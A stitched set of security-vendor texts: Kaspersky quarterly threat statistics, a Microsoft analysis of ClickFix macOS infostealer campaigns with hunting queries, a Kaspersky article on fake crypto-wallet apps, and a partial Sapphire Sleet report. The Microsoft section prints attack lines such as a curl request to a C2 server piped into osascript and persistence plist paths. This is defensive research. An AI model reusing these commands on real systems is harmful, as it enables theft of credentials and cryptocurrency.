Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.

Attacks on IoT honeypots

The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.

China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.

Russia scored 11.92% in these rankings.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Even if you keep your crypto assets in a cold wallet and use Apple devices — which enjoy a strong reputation for security — cybercriminals may still find a way to swipe your funds. These bad actors are combining well-known tricks into new attack chains — including baiting victims right inside the App Store.

Crypto-wallet clones

This past March, we discovered phishing apps at the top of the Chinese App Store charts with icons and names mimicking popular crypto-wallet management tools. Because regional restrictions block several official wallet apps from the Chinese App Store, attackers have stepped in to fill the void. They created fake apps using icons similar to the originals and names with intentional typos — likely to bypass App Store moderation and deceive users.

Phishing apps in the App Store appearing in search results for Ledger Wallet (formerly Ledger Live)

Beyond these, we found a number of apps with names and icons that had nothing to do with cryptocurrency. However, their promotional banners claimed they could be used to download and install official wallet apps that are otherwise unavailable in the regional App Store.

Banners on app pages claiming they can be used to download the official TokenPocket app, which is missing from the local App Store

In total, we identified 26 phishing apps mimicking the following popular wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

A few other very similar apps didn’t contain phishing functionality yet, but all signs point to them being linked to the same attackers. It’s likely they plan to add malicious features in future updates.

To get these apps cleared for the App Store, the developers added basic functionality, such as a game, a calculator, or a task planner.

Installing any of these clones is the first step toward losing your crypto assets. While the apps themselves don’t steal cryptocurrency, seed phrases, or passwords, they serve as bait that builds user trust by virtue of being listed on the official App Store. Once installed and launched, however, the app opens a phishing site in the victim’s browser, designed to look like the App Store, which then prompts the user to install a compromised version of the relevant crypto wallet. The attackers have created multiple versions of these malicious modules, each tailored to a specific wallet. You can find a detailed technical breakdown of this attack in our Securelist post.

A victim who falls for the ruse is first prompted to install a provisioning profile, which allows apps to be sideloaded onto an iPhone outside the App Store. The profile is then used to install the malicious app itself.

A fake App Store site prompting the user to install an app masquerading as Ledger Wallet

In the example above, the malware is built on the original Ledger app with integrated Trojan functionality. The app looks identical to the original, but when connected to a hardware wallet, it displays a window requiring a seed phrase, supposedly to restore access. This is not standard procedure: typically, you only need to enter a PIN — never a recovery phrase. If a victim is deceived by the app’s apparent legitimacy and enters their seed phrase, it’s immediately sent to the attackers’ server — granting them full access to the victim’s crypto assets.

Sideloading outside the App Store

A critical component of this scheme involves installing malware on the victim’s iPhone by bypassing the App Store and its verification process. This is executed much like the SparkKitty iOS infostealer we discovered previously. The attackers managed to gain access to the Apple Developer Enterprise Program. For just US$299 a year — and following an interview and corporate verification — this program allows entities to issue their own configuration profiles and apps for direct download to user devices without ever publishing them in the App Store.

To install the app, the victim must first install a configuration profile that enables the malware to be downloaded directly, bypassing the App Store. Note the green verification checkmark

In general, enterprise profiles are designed to allow organizations to deploy internal apps to employees’ devices. These apps don’t require App Store publication and can be installed on an unlimited number of devices. Unfortunately, this feature is often abused. These profiles are frequently used for software that fails to meet Apple’s policies, such as online casinos, pirated mods, and, of course, malware.

This is precisely why the fake site mimicking the Apple Store prompts the user to install a configuration profile before delivering the app signed by that profile.

Stealing cryptocurrency via macOS apps and extensions

Many crypto owners prefer managing their wallets on a computer rather than a smartphone — often choosing Macs for the task. It’s no surprise, then, that most popular macOS infostealers target crypto-wallet data in one way or another. Recently, however, a new malicious tactic has been gaining traction: in addition to stealing saved data, attackers are embedding phishing dialogs directly into legitimate wallet applications already installed on users’ computers. Earlier this year, the MacSync infostealer adopted this functionality. It infiltrates systems via ClickFix attacks: users searching for software are lured to fake sites with fraudulent instructions to install the app by running commands in Terminal. This executes the infostealer, which scrapes passwords and cookies saved in Chrome, chats from popular messengers, and data from browser-based crypto-wallet extensions.

But the most interesting part is what happens next. If the victim already has a legitimate Trezor or Ledger app installed, the infostealer downloads additional modules and… swaps out fragments of the app with its own trojanized code. The malware then re-signs the modified file so that after these “fixes” are made, Gatekeeper (a built-in protection mechanism in macOS) allows the application to run without an additional permission request from the user. While this trick doesn’t always work, it’s effective for simpler apps built on the popular Electron framework.

The trojanized app prompts the user for the seed phrase of their wallet

When the trojanized app is opened, it fakes an error and initiates a “recovery process”, prompting the user for their wallet seed phrase.

Besides MacSync, the developers behind other popular macOS infostealers have adopted this same trojanization approach. We previously detailed a similar mechanism used to compromise Exodus and Bitcoin-Qt wallets.

How to keep your crypto assets safe

Time and again, attackers have proved that no gadget is truly invincible. With so many developers and cryptocurrency users preferring macOS and iOS, threat actors have designed and deployed industrial-scale attacks for both platforms. Staying safe requires in-depth defense backed by skepticism and vigilance.

• Download apps only from trusted sources: either the developer’s official website or their App Store page. Since malware can slip even into official stores, always verify the app’s publisher.
• Check the app’s rating, publication date, and download counter.
• Read the reviews — especially the negative ones. Sort reviews by date to evaluate the latest version. Attackers often start with a perfectly innocent app that earns high ratings before introducing malicious functionality in a later update.
• Never copy and paste commands into your Terminal unless you’re 100% certain what they do. These attacks have become very popular lately, often disguised as installation steps for AI apps like Claude Code or OpenClaw.
• Use a comprehensive security system on all your computers and smartphones. We recommend Kaspersky Premium. This goes a long way to mitigate the risk of visiting phishing sites or installing malicious apps.
• Never enter your seed phrase into a hardware wallet app, on a website, or in a chat. In every scenario, whether migrating to a new wallet, reinstalling apps, or recovering a wallet, the seed phrase should be entered exclusively on the hardware device itself — never in a mobile or desktop app.
• Always verify the recipient’s address on the hardware wallet’s screen to prevent attacks involving address swapping.
• Store your seed phrases in the most secure way possible, such as on a metal plate or in a sealed envelope in a safe deposit box. It’s best not to store them on a computer at all, but if that’s your only option, use a secure, encrypted vault like Kaspersky Password Manager.

Still believe that Apple devices are bulletproof? Think again as you read the following:

• The iPhone — invincible no more: a look at DarkSword and Coruna
• Predator vs. iPhone: the art of invisible surveillance
• Are your Bluetooth headphones spying on you?
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Banshee: A stealer targeting macOS users

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

